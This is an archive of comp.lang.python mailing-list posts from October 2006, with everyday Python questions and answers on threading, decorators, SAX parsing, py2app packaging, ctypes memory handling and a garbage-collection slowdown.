From laurent.pointal at limsi.fr  Mon Oct  2 05:31:07 2006
From: laurent.pointal at limsi.fr (Laurent Pointal)
Date: Mon, 02 Oct 2006 11:31:07 +0200
Subject: python threading and timing
In-Reply-To: <RVXTg.1621$Lv3.584@newsread1.news.pas.earthlink.net>
References: <mailman.1061.1159734492.10491.python-list@python.org>
	<RVXTg.1621$Lv3.584@newsread1.news.pas.earthlink.net>
Message-ID: <efqm8t$m9m$1@upsn250.cri.u-psud.fr>

Dennis Lee Bieber a ?crit :
> On Sun, 1 Oct 2006 22:28:10 +0200, "Oeyvind Brandtsegg"
> <obrandts at gmail.com> declaimed the following in comp.lang.python:
> 
>> Also, I wonder what method I should be using to get a precise timing
>> in my automation thread (acting as a sequencer).
>>
> 	Use a real-time OS (which neither M$ Windows nor Linux/UNIX claim to
> be).
> 
> 	All non-deterministic, multi-tasking, OS's (like Windows, Linux,
> Solaris, AmigaOS) only guarantee that, for example, a sleep() call will
> not return /before/ the time specified. There is no specification for
> how much time /over/ the duration actually takes place.
> 
> 	And setting the task priority into the Windows "real-time" category
> is not sufficient -- I had an application that had to put out data on
> six pins of the parallel port (acting as three discrete RS-422 style
> balanced signals) in time with a (1KHz, as I recall) clock signal coming
> in on another pin of the parallel port. The data was still getting
> glitches every ~256 clocks as the OS did something in the background.
> (the application was written in VC++6, and even disabled the GUI during
> the data output operation.
> 

+++

realtime OSes != high level priority threads

And for a sound production using a sequencer, it looks like to need real
realtime.


And dont use Python threads for realtime multithreading, even on a
realtime OS (because of the GIL - Global Interpreter Lock).

May use Python for some -non realtime- parts, but I would not use any
scripting language (not specific to Python) for real-time work (prefer
C, ADA, maybe Java with ad-hoc extensions).

You may go to Python by writing a Python C extension module (doing
realtime work on its own - but never relying on python GIL in critical
times), communicating with normal python scripts (shared memory...
things which dont need the GIL if possible).

A+

Laurent.


From bignose+hates-spam at benfinney.id.au  Sun Oct 15 01:55:49 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sun, 15 Oct 2006 15:55:49 +1000
Subject: problem with the 'math' module in 2.5?
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.526.1160885916.11739.python-list@python.org>
	<1160886206.594661.321230@e3g2000cwe.googlegroups.com>
Message-ID: <87bqoe2kd6.fsf@benfinney.id.au>

"Chris" <chrispatton at gmail.com> writes:

> Oh, ok that explains it. Is that why my 16-bit calculator gives me
> 0?

Your calculator is probably doing rounding without you asking for it.

Python refuses to guess what you want, and gives you the information
available.

-- 
 \           "Earth gets its price for what Earth gives us."  -- James |
  `\                                                    Russell Lowell |
_o__)                                                                  |
Ben Finney



From Eric_Dexter at msn.com  Mon Oct 30 19:07:30 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 30 Oct 2006 16:07:30 -0800
Subject: I want to work on Python
In-Reply-To: <1162179677.547593.17660@k70g2000cwa.googlegroups.com>
References: <1162179677.547593.17660@k70g2000cwa.googlegroups.com>
Message-ID: <1162253250.440812.276770@m7g2000cwm.googlegroups.com>

I could use help with my project.  It should be very popular  when more
of it is done and credit may be a good way to build your resume

https://sourceforge.net/projects/dex-tracker

ArdPy wrote:
> Hi there, these days I am desperately searching everywhere on the
> Internet for part time python jobs. The reason is I want to get
> actively involved with python programming and get some practical
> exposure. Please help me in whatever way you can.



From fredrik at pythonware.com  Fri Oct 20 01:46:33 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 07:46:33 +0200
Subject: Decorators and how they relate to Python - A little insight 
	please!
In-Reply-To: <1161322723.451426.305480@m7g2000cwm.googlegroups.com>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
	<1161322723.451426.305480@m7g2000cwm.googlegroups.com>
Message-ID: <eh9nrq$895$2@sea.gmane.org>

jmcantrell at gmail.com wrote:

> it's handy for doing things like validation of parameter and return
> types. Like...
> 
> @accepts(int,int)
> @returns(int)
> def add(a,b):
>     return a+b

using Python decorators to turn Python into something that's not Python 
doesn't seem very handy to me, though.

</F>



From antroy at gmail.com  Tue Oct  3 05:05:43 2006
From: antroy at gmail.com (Ant)
Date: 3 Oct 2006 02:05:43 -0700
Subject: loop beats generator expr creating large dict!?
In-Reply-To: <20061002215040.65003374.gry@ll.mit.edu>
References: <20061002215040.65003374.gry@ll.mit.edu>
Message-ID: <1159866342.984495.254000@i42g2000cwa.googlegroups.com>


George Young wrote:
...
> I am puzzled that creating large dicts with an explicit iterable of
> key,value pairs seems to be slow.  I thought to save time by doing:
>
>    palettes = dict((w,set(w)) for w in words)
>
> instead of:
>
>    palettes={}
>    for w in words:
>       palettes[w]=set(w)

In the generator case, you are first creating a tuple, and then
assigning the first element of the tuple as the key and the second
element as the value in the dictionary. In the loop, you are directly
setting the key and value in the dictionary.

Essentially by doing the generator (or comprehension), you are packing
and unpacking the key, value pairs for each word in your initial list,
all of which will have an overhead.



From johnjsal at NOSPAMgmail.com  Fri Oct 27 16:18:14 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 27 Oct 2006 20:18:14 GMT
Subject: ANN: the pyfaq wiki has moved
In-Reply-To: <mailman.1370.1161977101.11739.python-list@python.org>
References: <mailman.1349.1161953388.11739.python-list@python.org>	<uXr0h.175$1n3.4318@news.tufts.edu>
	<mailman.1370.1161977101.11739.python-list@python.org>
Message-ID: <aQt0h.181$1n3.4336@news.tufts.edu>

Fredrik Lundh wrote:
> John Salerno wrote:
> 
>>> If you have some time to spare, why not drop by, pick some random
>>> article, and let us know how it can be improved:
>>>
>>>     http://effbot.org/random/pyfaq
>>
>> How do we log in to make changes?
> 
> as with the 'infogami' version, you don't -- if you find something that 
> needs to be fixed or clarified, just post a comment, or a suggested new 
> text, and an editor will take care of the rest.
> 
> </F>
> 

Ok. I was trying the "edit" link instead.


From horpner at yahoo.com  Fri Oct 20 11:39:37 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 20 Oct 2006 17:39:37 +0200
Subject: proper format for this database table
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<4537e232$0$3280$426a34cc@news.free.fr>
	<At5_g.122$1n3.3067@news.tufts.edu>
Message-ID: <slrnejhrf5.ns.horpner@FIAD06.norwich.edu>

On 2006-10-20, John Salerno <johnjsal at NOSPAMgmail.com> wrote:
> Bruno Desthuilliers wrote:
>> John Salerno a ?crit :
>>> Hi guys. I was wondering if someone could suggest some possible 
>>> structures for an "Education" table in a database. 
>> 
>> Wrong newsgroup, then. comp.database.* is right next door...
>
> I know, I'm sorry. It's just that this newsgroup server doesn't
> have any database ngs on it. :(

Try Google Groups for these annoying cases.

-- 
Neil Cerutti
The audience is asked to remain seated until the end of the recession.
--Church Bulletin Blooper


From maxerickson at gmail.com  Sat Oct 14 08:39:49 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Sat, 14 Oct 2006 12:39:49 +0000 (UTC)
Subject: Attribute error
References: <1160803974.234768.286150@k70g2000cwa.googlegroups.com>
Message-ID: <Xns985C581D78116maxericksongmailcom@80.91.229.5>

"Teja" <tejovathi.p at gmail.com> wrote:

> Hi all,
> 
> What is attribute error? what causes that error, especially with COM
> objects?
> 
> To be precise :
> 
> Attribute Error: LCAS.LabcarController.writeLogWindow()
> 
> Here, LCAS.... is a COM object
> 
> Thanks
> Teja.P
> 

LabcarController might be a function. See:

http://groups.google.com/group/comp.lang.python/msg/d7341f1aedcae6d3

for more detail.

hope this helps,
max



From yellowalienbaby at gmail.com  Tue Oct 17 16:02:12 2006
From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com)
Date: 17 Oct 2006 13:02:12 -0700
Subject: Return returns nothing in recursive function
In-Reply-To: <mailman.643.1161101201.11739.python-list@python.org>
References: <D4F9316ACC9D20489CC81D19B8A87D5B03CDAB60@UKEX01.Digica.local>
	<mailman.643.1161101201.11739.python-list@python.org>
Message-ID: <1161115332.568646.237510@e3g2000cwe.googlegroups.com>


Fredrik Lundh wrote:
> Matthew Warren wrote:
>
> > I have the following code that implements a simple recursive tree like
> > structure.
> >
> > The trouble is with the GetTreeBranch function, the print statement
> > prints a valid value but the return immediatley afterward doesn't return
> > anything.
>
> hint: how many "return" statements do you see in this piece of code:
>
>             else:
>                  GetTreeBranch(path[1:],item[path[0]])
>
> </F>

(This is Matthew, different google goups account)
aha! Thanks Fredrik. This recursion business always twiddles with my
head ;)
It still took a good stare at the code before I worked it out, then the
little lightbulb moment;

else:
    return GetTreeBranch(path[1:],item[path[0]])



From kelong_2000 at yahoo.com  Sun Oct 22 01:03:06 2006
From: kelong_2000 at yahoo.com (Kenneth Long)
Date: Sat, 21 Oct 2006 22:03:06 -0700 (PDT)
Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <1161491991.010112.65630@k70g2000cwa.googlegroups.com>
Message-ID: <20061022050306.19774.qmail@web51110.mail.yahoo.com>


> 
> mingw32 is supported and can compile many
> extensions. See the following
> post:
> 
>
http://groups.google.com/group/comp.lang.python/msg/8e2260fe4d4b7de9
> 
> If you meant something else with your comment,
> please explain.
> 

thanks for the reference.. I just got the latest
source for python and reading contents in PC, PCbuild,
PCbuild8 directories. It would be nice if the windows
build was as simple as running ./configure and make...

The link for pexports-0.42h.zip is broken so I cant
test it on an extension.




hello

__________________________________________________
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From me at privacy.net  Sun Oct 15 09:39:18 2006
From: me at privacy.net (Dan Sommers)
Date: Sun, 15 Oct 2006 09:39:18 -0400
Subject: Reverse string-formatting (maybe?)
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
Message-ID: <m264elitq1.fsf@unique.fqdn>

On 14 Oct 2006 05:35:02 -0700,
"Dustan" <DustanGroups at gmail.com> wrote:

> Is there any builtin function or module with a function similar to my
> made-up, not-written deformat function as follows? I can't imagine it
> would be too easy to write, but possible...

[ snip ]

> Any input? I've looked through the documentation of the string module
> and re module, did a search of the documentation and a search of this
> group, and come up empty-handed.

Track down pyscanf.  (Google is your friend, but I can't find any sort
of licensing/copyright information, and the web addresses in the source
code aren't available, so I hesitate to post my ancient copy.)

HTH,
Dan

-- 
Dan Sommers
<http://www.tombstonezero.net/dan/>
"I wish people would die in alphabetical order." -- My wife, the genealogist


From newptcai at gmail.com  Mon Oct 30 12:44:12 2006
From: newptcai at gmail.com (=?utf-8?B?5LiA6aaW6K+X?=)
Date: 30 Oct 2006 09:44:12 -0800
Subject: How to convert "&nbsp;" in a string to blank space?
In-Reply-To: <mailman.1499.1162229880.11739.python-list@python.org>
References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
	<mailman.1499.1162229880.11739.python-list@python.org>
Message-ID: <1162230252.927146.85800@b28g2000cwb.googlegroups.com>

Oh, I didn't make myself clear.

What I mean is how to convert a piece of html to plain text bu keep as
much format as possible.

Such as convert "&nbsp;" to blank space and convert <br> to "\r\n"

Gary Herron wrote:
> ??? wrote:
> > Is there any simple way to solve this problem?
> >
> >
> Yes, strings have a replace method:
>
> >>> s = "abc&nbsp;def"
> >>> s.replace('&nbsp;',' ')
> 'abc def'
>
> Also various modules that are meant to deal with web and xml and such
> have functions to do such operations.
> 
> 
> Gary Herron



From Matthew.Warren at Digica.com  Thu Oct  5 09:40:23 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Thu, 5 Oct 2006 14:40:23 +0100
Subject: dictionary of list from a file
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B039FE596@UKEX01.Digica.local>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE598@UKEX01.Digica.local>

 

> -----> > Python 2.5 introduced a dictionary type with automatic 
> > creation of values,
> > ala Perl:
> > 
> > ===============================
> > from collections import defaultdict
> > 
> > d = defaultdict(list)
> > for line in fl:
> >      k, v = line.strip().split()
> >      d[k].append(v)
> > 
> > for k,v in d.items():
> >      print k, v
> > ===============================
> > 
> > Notice that Python is always more strongly typed, so you have 
> > to specify a
> > factory function.
> 
> 
> Yay! Python2.5 fixed my approach to this, I tried
> 
> from collections import defaultdict
> f=file('c:\\test.txt')
> lines=f.readlines()
> f.close()
> d=defaultdict(list)
> [ d[l.split()[0]].append(l.split()[1]) for l in lines ]
> 
> But, if I try your (to see if I've actually got it right)
> 
> For k,v in d.items():
> 	print k,v
> 
> I get
> 
> AttributeError: 'list' object has no attribute 'items'
> 


Okok, I'm silly.


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From gabrielg_laburando at yahoo.com.ar  Tue Oct  3 05:52:00 2006
From: gabrielg_laburando at yahoo.com.ar (Gabriel G)
Date: Tue, 03 Oct 2006 06:52:00 -0300
Subject: Howto pass Array/Hash into Function
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A061581@mailbe01.teak.local .net>
References: <3ACF03E372996C4EACD542EA8A05E66A061581@mailbe01.teak.local.net>
Message-ID: <7.0.1.0.0.20061003064024.043563c0@yahoo.com.ar>

At Tuesday 3/10/2006 06:05, Wijaya Edward wrote:

>How can I pass Array, Hash, and a plain variable
>in to a function at the same time.
>
>I come from Perl. Where as you probably know
>it is done like this:
>
>sub myfunc {
>
>     my ($plain_var, $hash_ref,$arref) = @_;
>     # Do sth with those variables
>
>    return;
>}

In Python your functions have formal arguments:

def myfunc(plain_var, some_dict, some_list):
     # ...
     return

You also have positional and keyword arguments, and default values. 
Read the Python tutorial <http://www.python.org/doc/current/tut/tut.html>



Gabriel Genellina
Softlab SRL 


	
	
		
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From fredrik at pythonware.com  Wed Oct 25 04:19:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 10:19:54 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <453f18a6$0$21544$426a74cc@news.free.fr>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<453E3370.9060008@kevin-walzer.com>	<453e3c5a$0$23254$426a74cc@news.free.fr>	<mailman.1094.1161707865.11739.python-list@python.org>
	<453f18a6$0$21544$426a74cc@news.free.fr>
Message-ID: <ehn6na$b9b$1@sea.gmane.org>

Christophe wrote:

>>> Also, the Tkinter API is far less elegant than the others.
>> huh?  create object, display object, create object, display object. sure 
>> looks like plain old Python to me...
> 
> Let's see :
> 
> .pack(side = "left")
> 
> fred = Button(self, fg = "red", bg = "blue")
> fred["fg"] = "red"
> 
> fred.bind("<Enter>", turnRed)
> 
> Yep, unelegant API I mantain 

yuck.  if that's the kind of UI programs you're writing, we sure have 
different design ideals.

and arguing that Tkinter is unelegant when you're doing silly things in 
a silly way is a bit like arguing that Python is unelegant because your 
first attempt to write a "hello world" program resulted in:

      import sys
      # .stdout.write("Hello World") # gives unusable error message
      from sys import stdout as glah
      glah.writelines(iter(" ".join(["h3110", "W0rlD"])))

> And no modern layout manager available. Only those old school 
> left/right/up/down pack and anchors are available.

huh?  when did you last look at Tk?  1994?

</F>



From scott.daniels at acm.org  Tue Oct 31 21:38:54 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Tue, 31 Oct 2006 18:38:54 -0800
Subject: Overriding traceback print_exc()?
In-Reply-To: <1162327591.593141.198590@i42g2000cwa.googlegroups.com>
References: <Ae6dndxQ39_EBNrYnZ2dnUVZ_oydnZ2d@nmt.edu>
	<1162327591.593141.198590@i42g2000cwa.googlegroups.com>
Message-ID: <45480009$1@nntp0.pdx.net>

draghuram at gmail.com wrote:
> I usually have a function like this:
> 
> def get_excinfo_str():
>     """return exception stack trace as a string"""
>     (exc_type, exc_value, exc_traceback) = sys.exc_info()
The parens here can be skipped:
       exc_type, exc_value, exc_traceback = sys.exc_info()
>     formatted_excinfo = traceback.format_exception(exc_type, exc_value,
> exc_traceback)
>     excinfo_str = "".join(formatted_excinfo)

>     del exc_type
>     del exc_value
>     del exc_traceback
The three del lines above don't do anything (the return decrefs the locals).

>     return(excinfo_str)
The parens here can be skipped as well:
       return excinfo_str
-- 
--Scott David Daniels
scott.daniels at acm.org


From gerrit at nl.linux.org  Mon Oct 30 02:31:52 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Mon, 30 Oct 2006 08:31:52 +0100
Subject: Is there a way to get utf-8 out of a Unicode string?
In-Reply-To: <1162193088.091894.269630@m73g2000cwd.googlegroups.com>
References: <1162193088.091894.269630@m73g2000cwd.googlegroups.com>
Message-ID: <20061030073152.GA2327@topjaklont.student.utwente.nl>

Hei,

On 2006-10-30 08:25:41 +0100, thebjorn wrote:
>   def unfk(s):
>       return eval(repr(s)[1:]).decode('utf-8')
> 
> i.e. chopping off the u in the repr of a unicode string, and relying on
> eval to interpret the \xHH sequences.
> 
> Is there a less hack'ish way to do this?

Slightly lack hackish:

return ''.join(chr(ord(c)) for c in s)

Gerrit.


From cems at earthlink.net  Sun Oct  1 02:52:13 2006
From: cems at earthlink.net (charlie strauss)
Date: Sun, 1 Oct 2006 00:52:13 -0600
Subject: Is this a bug? Python intermittently stops dead for seconds
Message-ID: <AE3C1DCB-458E-416B-A254-DB9C27C9949D@earthlink.net>

Below is a simple program that will cause python to intermittently  
stop executing for a few seconds.  it's 100% reproducible on my machine.

I'd be tempted to say this is a nasty garbage collection performance  
issue except that there is no major memory to be garbage collected in  
this script.  I'd be tempted to say it was a unix virtual memory  
issue except this is occuring at around 1/5th of my physical memory  
size.  So something else unexplained is going on

Class Foo instances create and hold a list  of size nfoo of integers.  
(nfoo =10)

Class Bar instances create and hold a list of size nbar of Foo  
objects. (nbar =100)

When the code runs it starts creating and storing Bar objects in a  
list while watching for real-time glitches in how long it takes to  
create the next Foo object.  If this is longer than 1/2 of a second  
then it reports it.

On my computer  after creating 1500 Bar objects,  the rate of  
creation of new Foo  suddenly has a  periodic glitch.  This glitch re- 
occurs about every 300 Bar Objects, and the duration of the glitch  
keeps getting longer--growing to many seconds!!!!

Platform: 800Mhz powermac g 4  1Gb of memory
python:  python 2.4.2

Note: since I an using absolute time threshold for reporting the  
glitches, the first one may take more iterations before it occurs on  
a fast computer.  You may need to increase nbar or nfoo.

import sys
from time import time


class Foo(object):
     def __init__(me,nfoo):
         me.memory = [1]*nfoo

class Bar(object):
     def __init__(me,nbar,nfoo):
         tgx.set_tag("Bar")  # timer

         b = [None]*nbar
         for i in xrange(nbar):
             b[i]=Foo(nfoo)  # make a foo, add it to list
             tgx.jump("Bar"+`i`)  #timer

         me.b = b  #store the list in my instance memory




# just a utility class to time things.
class gtime:
     def __init__(me,f=sys.stderr):
         me.last = time()
         me.f=f
         me.tag = ""
         me.ticks = 0

     def set_tag(me,tag):
         me.tag = tag
         me.ticks = 0

     def reset(me):
         me.ticks = 0

     def jump(me,tag="NONE",allowed_gap=0.5):
         me.t = time()
         me.ticks +=1
         if me.t-me.last>allowed_gap:
             print >>me.f,"Big Gap:",me.t-me.last,"seconds    
",me.tag,tag,me.ticks
         me.last = time()

tgx = gtime() # instance of the timer


# main loop
nbar = 100
nfoo = 10

ad_nauseum = 20000
final = [None]*ad_nauseum

for i in xrange(ad_nauseum ):
     if i%100 == 0 :print >>sys.stderr,"Bars Made: ",i
     final[i] = Bar(nbar,nfoo)



sample Output:

Bars Made:  0
Bars Made:  100
Bars Made:  200
Bars Made:  300
Bars Made:  400
Bars Made:  500
Bars Made:  600
Bars Made:  700
Bars Made:  800
Bars Made:  900
Bars Made:  1000
Bars Made:  1100
Bars Made:  1200
Bars Made:  1300
Bars Made:  1400
Bars Made:  1500
Big Gap: 0.618862867355 seconds    Bar Bar5 6
Bars Made:  1600
Bars Made:  1700
Bars Made:  1800
Big Gap: 0.748915195465 seconds    Bar Bar76 77
Bars Made:  1900
Bars Made:  2000
Bars Made:  2100
Big Gap: 0.809149980545 seconds    Bar Bar45 46
Bars Made:  2200
Bars Made:  2300
Bars Made:  2400
Big Gap: 0.898494958878 seconds    Bar Bar15 16
Bars Made:  2500
Bars Made:  2600
Bars Made:  2700
Big Gap: 1.01110696793 seconds    Bar Bar86 87
Bars Made:  2800
Bars Made:  2900
Bars Made:  3000
Big Gap: 1.12396192551 seconds    Bar Bar55 56
Bars Made:  3100
Bars Made:  3200
Bars Made:  3300
Big Gap: 1.39006495476 seconds    Bar Bar25 26
Bars Made:  3400
Bars Made:  3500
Bars Made:  3600
Big Gap: 1.55699706078 seconds    Bar Bar96 97
Bars Made:  3700
Bars Made:  3800
Bars Made:  3900
Big Gap: 1.49929594994 seconds    Bar Bar65 66
Bars Made:  4000
Bars Made:  4100
Bars Made:  4200
Big Gap: 1.64840602875 seconds    Bar Bar35 36
Bars Made:  4300
Bars Made:  4400
Bars Made:  4500
Big Gap: 1.728484869 seconds    Bar Bar5 6
Bars Made:  4600
Bars Made:  4700
Bars Made:  4800










From grante at visi.com  Tue Oct 24 11:29:59 2006
From: grante at visi.com (Grant Edwards)
Date: Tue, 24 Oct 2006 15:29:59 -0000
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
	<12jsc6r4ddnr886@corp.supernews.com>
Message-ID: <12jscbnp92jgb9f@corp.supernews.com>

On 2006-10-24, Grant Edwards <grante at visi.com> wrote:
> On 2006-10-24, Odalrick <odalrick at hotmail.com> wrote:
>
>> I need to draw visible lines on pictures with wxPython. That means I
>> can't simply use, for instance, a black line since it wont be visible
>> on a black or dark picture.
>>
>> Painting applications like the GIMP accomplish this by altering the
>> colour of the line based on the colour of the pixel it covers,
>
> Yup.
>
>> but the only way I can think of doing that is getting each
>> pixel, transforming the colour then painting it on the screen,
>> which seems like a horribly inefficient way do it.
>
> That's not how it's generally done.  When you draw a line, most
> graphics toolkits allow you to specify an "operator" that is
> applied to the existing pixel and the line-color to determine
> the new pixel color.  The traditional way to draw lines on
> something with varying colors is to use the "xor" operator when
> drawing the lines.

Oh, another big benefit from using the xor operator is that you
can restore the pixmap to it's original state by simply
repeating the exact same line-draw operation.  That makes it
trivial to do things like rubber-banding.

-- 
Grant Edwards                   grante             Yow!  I just forgot my
                                  at               whole philosophy of life!!!
                               visi.com            


From sybrenUSE at YOURthirdtower.com.imagination  Tue Oct  3 09:57:17 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Tue, 3 Oct 2006 15:57:17 +0200
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
Message-ID: <slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>

Bill Williams enlightened us with:
> I don't know enough about Python internals, but the suggested
> solutions all seem to involve scanning bigList. Can this presumably
> linear operation be avoided by using dict or similar to find all
> occurrences of smallist items in biglist and then deleting those
> occurrences?

And how would that beat O(n)? Every element of bigList has to be
scanned at one point, either to compare it to every earlier element in
bigList and eliminate it, or to compare it to every element in
smallList.

Run benchmarks on the suggestions, and see which is fastest for
yourself.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From ratchetgrid at googlemail.com  Mon Oct 23 10:34:10 2006
From: ratchetgrid at googlemail.com (Nathan Harmston)
Date: Mon, 23 Oct 2006 15:34:10 +0100
Subject: Parsing XML using SAX
Message-ID: <676224240610230734u4f5ae6daq974defb684ffe2af@mail.gmail.com>

Hi,

Currently I m writing an XML parser that processes an xml file using sax,
and I have it working, however I want to make the code of my parser less
cluttered and more readable by other people (including myself). However it
is quite messy at the moment. The main reason is that Python doesnt have a
switch statement.

 def startElement(self,name,attributes):
                if name == "sbml":
                        s = Sbml(attributes['xmlns'], attributes['version'],
attributes['level'])
                        self.sbmlDict['sbml'] = s
                elif name == "model":
                        m = Model(attributes['id'], attributes['name'])
                        self.sbmlDict['model'] = m
                elif name == "listOfCompartments":
                        self.inListOfCompartments = bool(1)
                elif name == "compartment" and self.inListOfCompartments:
                        c = Compartment(attributes['id'],
attributes['name'])
                        self.tempList.append(c)
.......................................snip

I would use a dictionary for this, but this would require the use of many
extra methods for each tag name, and this would lead to clutter aswell. Does
anyone have any suggestions for reducing the number of lines and making my
code look neater than a large amount of methods or elif statements.

Many Thanks

Nathan
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From jstroud at mbi.ucla.edu  Wed Oct  4 16:35:12 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 04 Oct 2006 20:35:12 GMT
Subject: py2app semi-standalone semi-works
In-Reply-To: <dave.opstad-125998.07561204102006@reader0901.news.uu.net>
References: <ulMUg.13149$7I1.6975@newssvr27.news.prodigy.net>
	<dave.opstad-125998.07561204102006@reader0901.news.uu.net>
Message-ID: <4WUUg.9765$e66.8368@newssvr13.news.prodigy.com>

Dave Opstad wrote:
> In article <ulMUg.13149$7I1.6975 at newssvr27.news.prodigy.net>,
>  James Stroud <jstroud at mbi.ucla.edu> wrote:
>>I am trying to create a semi-standalone with the vendor python on OS X 
>>10.4 (python 2.3.5). I tried to include some packages with both 
>>--packages from the command and the 'packages' option in setup.py. While 
>>the packages were nicely included in the application bundle in both 
>>cases (at Contents/Resources/lib/python2.3/), they were not found by 
>>python when the program was launched, giving the error:
>>
>>     "ImportError: No module named [whatever module]"
> 
> You might want to have a setup.cfg file in addition to the setup.py 
> file. I've found that helps ensure the relevant packages and includes 
> make it into the bundled application.
> 
> For example, say you have a package named fred and also a separate 
> module named george that are needed for your app. Your setup.cfg could 
> look like this:
> 
> #
> # setup.cfg
> #
> 
> [py2app]
> packages=fred
> includes=george
> 
> You can also have a section for [py2exe] if needed; that way, if there 
> are modules that your Windows build needs that the Mac build doesn't (or 
> vice versa), you can just include them where needed.
> 
> Dave

Hi Dave,

Thank your for pointing me to setup.cfg. I make standalones for windows, 
linux, and OS X, so it will definitely help take some of the confusion 
out of my setup.py.

However, when passing trying to build semi-standalone, the module does 
make it into the application bundle, but the python interpreter doesn't 
seem to know where to find it. Is there something I can specify in 
setup.cfg or setup.py that will point the interpreter to the included 
module, or will I need to make another test and programmatically set 
sys.path inside of my python code? If this is solved by setup.cfg, then 
forgive me--I haven't had a chance to try it yet.

Below is the relevant part of my setup.py.

James

=====
APP = ['%s.py' % appname]
DATA_FILES = []
OPTIONS = {
              'argv_emulation'    : True,
              'strip'             : True,
              'packages'          : packages,
              'iconfile'          : '%s.icns' % appname,
           }

if not os.path.exists('dist'):
   setup(
       app=APP,
       name=appname,
       data_files=DATA_FILES,
       options={'py2app': OPTIONS},
       setup_requires=['py2app'],
   )
else:
   print 'Directory "dist" exists. Doing nothing.'
=====


-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From cameron.walsh at gmail.com  Thu Oct  5 02:47:30 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Thu, 05 Oct 2006 14:47:30 +0800
Subject: user modules
Message-ID: <eg29os$6b4$1@enyo.uwa.edu.au>

Hi,

I'm writing a python program to analyse and export volumetric data.  To 
make development and extension easier, and to make it more useful to the 
public when it is released (LGPL), I would like to enable users to place 
their own python files in a "user_extensions" directory.  These files 
would implement a common interface in order for the main program to be 
able to read them and execute the necessary code.

My question is what is the best way of implementing this?

I have investigated importing them as modules, but unless the user 
modifies the main program I cannot see how the main program can learn of 
the existence of specific modules.

For example:

from user_modules import *
# directory 'user_modules' contains __init__.py allowing this
# From here I would need a list of the imported modules, in order to
# execute a common command on each of them, such as

for module in imported_modules:
	module.initialise()
	module.get_tab_window()


How do I get from the first bit to the second bit, or is there a better 
way of obtaining the functionality I need?


--Cameron.


From theller at python.net  Fri Oct  6 12:45:09 2006
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Oct 2006 18:45:09 +0200
Subject: Ctypes and freeing memory
In-Reply-To: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com>
References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com>
Message-ID: <eg616n$tgv$1@sea.gmane.org>

Oliver Andrich schrieb:
> Hi everybody,
> 
> I am currently playing around with ctypes and a C library (libWand
> from ImageMagick), and as I want to easily deploy it on Mac, Linux and
> Windows, I prefer a ctypes solution over a C module. At least on
> windows, I would have resource problems to compile the C module. So,
> ctypes is the perfect choice for me.
> 
> But I am currently encountering a pattern inside the C library, that
> has to be used to free memory. Coding in C I have to do the following
> 
>     char *description;
>     long  severity;
> 
>     description = MagickGetException(wand, &severity);
>     /*
>         do something with the description: print it, log it, ...
>     */
>     description = (char *) MagickRelinquishMemory(description);
>     exit(-1); /* or something else what I want to after an exception occured */
> 
> So, this looks easy and is sensible from C's point of view. Now I try
> to translate this to Python and ctypes.
> 
>     dll.MagickGetException.argtypes = [c_long, POINTER(c_long)]
>     dll.MagickGetException.restype  = c_char_p
> 
>     severity = c_long()
>     description = dll.MagickGetException(byref(severity))
> 
>     # So far so good. The above works like a charm, but the problem follows now
>     # ctypes already converted the char * for description to a String object.
>     # That means description has arrived in an area under Python's control.
> 
>     # these definitions are the easy part
>     dll.MagickRelinquishMemory.argtypes = [c_void_p]
>     dll.MagickRelinquishMemory.restype  = c_char_p
> 
>     # but this obviously must cause problems and causes problems
>     dll.MagickRelinquishMemory(description)
> 
> So, my question is, how do I deal with this situation? Can I ignore
> the call to MagickRelinquishMemory, cause Python takes care of the
> resources already? Or is it impossible to use it at all, and I have to
> think about a different solution?

ctypes only releases memory that it has allocated itself.  So, if you don't
call your MagickRelinquish function a memory leak will occur.

Chris Mellon has already pointed out a possible solution, but there is also a
different way.  You could use a subclass of c_char_p as the restype
attribute:

class String(c_char_p):
    def __del__(self):
        MagickRelinquishMemory(self)

The difference is that you will receive an instance of this class
when you call the MagickGetException funcion.  To access the 'char *'
value, you can access the .value attribute (which is inherited from
c_char_p), and to free the memory call MagickRelinquishMemory
in the __del__ method.

Thomas



From ram0812 at hotmail.com  Tue Oct  3 04:27:31 2006
From: ram0812 at hotmail.com (Raja Raman Sundararajan)
Date: 3 Oct 2006 01:27:31 -0700
Subject: Overriding builtin getattr method
In-Reply-To: <1159863862.889561.325340@m73g2000cwd.googlegroups.com>
